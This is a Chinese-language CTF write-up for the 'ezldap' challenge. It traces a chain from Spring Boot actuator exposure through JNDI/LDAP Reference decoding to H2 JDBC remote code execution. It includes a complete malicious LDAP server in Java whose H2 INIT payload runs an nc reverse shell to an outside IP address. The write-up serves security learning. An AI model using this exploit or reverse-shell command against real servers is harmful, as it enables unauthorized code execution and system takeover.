环境搭建

题目源码: https://github.com/HSwift/my-ctf-challenges/tree/main/ezldap
这里我是docker+idea调试环境
首先修改dockerfile文件,5005端口expose出来

1
2
3
4
FROM eclipse-temurin:17.0.11_9-jdk-alpine

COPY app /app
EXPOSE 8080 5005

1
2
3
docker build -t jq .
docker run -it --entrypoint /bin/bash -p 5005:5005 -p 1212:8080 jq
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar /app/demo-0.0.1-SNAPSHOT.jar

然后IDEA添加运行配置文件,选择远程调试
image.png

然后可以下断点调试了

分析

首先我们利用dirsearch扫目录可以发现大量的actuator目录,这是springboot未授权访问漏洞
我们访问/actuator/mappings可以发现一些路由,在最下面发现两个有用的路由:
image.png

访问/source_tr15d0路由拿到/lookup路由的源码:

1
@GetMapping("/lookup") public String lookup(String path) { try { String url = "ldap://" + path; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); return "ok"; }catch (NamingException e){ return "failed"; } }

这里直接打JNDI不行,应该有版本限制,我们先利用未授权访问漏洞收集尽可能多的信息
在env处发现了有h2依赖
image.png

思路是利用jndi打ldap绕过高版本jdk限制来打JDBC来h2 RCE
但是env这里还发现了com.sun.jndi.ldap.object.trustSerialData为false,当时卡在了这里

1
2
3
"com.sun.jndi.ldap.object.trustSerialData": {
"value": "false"
},

这个我们需要知道ldap恶意服务器不仅可以直接返回恶意的序列化数据/序列化的Reference对象,还可以直接返回Reference,它有对应的编码方式
我们查看com.sun.jndi.ldap.Obj.java文件的decodeObject()方法
image.png
这里几个内置变量的值分别为:

1
2
3
4
5
6
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

static final String[] JAVA_OBJECT_CLASSES = new String[]{"javaContainer", "javaObject", "javaNamingReference", "javaSerializedObject", "javaMarshalledObject"};

static final String[] JAVA_OBJECT_CLASSES_LOWER = new String[]{"javacontainer", "javaobject", "javanamingreference", "javaserializedobject", "javamarshalledobject"};


我们的ldap恶意服务器在返回数据时,可以根据通过修改一些配置来让它走到最后的decodeReference

我们要进入decodeReference方法,首先要JAVA_ATTRIBUTES[OBJECT_CLASS]不为空,也就是远程的objectClass值,为”javaNamingReference”
image.png

进入decodeReference之后会获取javaClassNamejavaFactory的值,然后新建Reference对象
image.png

接着获取javaReferenceAddress的值,取它size大小,经过for循环和一系列函数取出里面的值存入refAddrList中,最后添加到ref变量里
image.png
image.png

此时成功返回了恶意的Reference对象
随后回到ldapCtx的decodeObject()方法,然后进入DirectoryManager.getObjectInstance方法里
image.png
image.png

后面就是本地类factory的绕过高版本jdk的方式了
image.png
先判断是它Reference类型的,类型转化赋值给ref,然后获取factory,这里是恶意的org.apache.tomcat.jdbc.pool.DataSourceFactory
调用它的getObjectInstance()方法,最后走到DataSourceFactory类的createDataSource方法
image.png

跟进
image.png

进入createPool()方法
image.png
进入new ConnectionPool()方法
image.png
调用ConnectionPool.init()方法来完成数据库连接

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class jingqi {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main(String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
System.out.println("Send LDAP reference");
entry.addAttribute("objectClass", "javaNamingReference");

String url = "jdbc:h2:mem:memdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
"INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'\\;" +
"CALL EXEC ('nc 111.229.158.40 2345 -e /bin/sh')\\;";

Reference ref = new Reference("javax.sql.DataSource", "org.apache.tomcat.jdbc.pool.DataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", url));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("username", "sa"));
encodeReference('#', ref, entry);

result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e) {
e.printStackTrace();
}
}


private void encodeReference(char separator, Reference ref, Entry attrs) {

String s;

if ((s = ref.getClassName()) != null) {
attrs.addAttribute("javaClassName", s);
}

if ((s = ref.getFactoryClassName()) != null) {
attrs.addAttribute("javaFactory", s);
}

if ((s = ref.getFactoryClassLocation()) != null) {
attrs.addAttribute("javaCodeBase", s);
}

int count = ref.size();

if (count > 0) {
String refAttr = "";
RefAddr refAddr;

for (int i = 0; i < count; i++) {
refAddr = ref.get(i);

if (refAddr instanceof StringRefAddr) {
refAttr = ("" + separator + i +
separator + refAddr.getType() +
separator + refAddr.getContent());
}
attrs.addAttribute("javaReferenceAddress", refAttr);
}

}
}

}
}

成功弹到shell
image.png

注意:

  1. h2 rce这个payload的函数名EXEC只能用一次,第二次打不通
  2. 这题是alpine环境,没有bash只有sh

    参考

    https://github.com/HSwift/my-ctf-challenges/tree/main/ezldap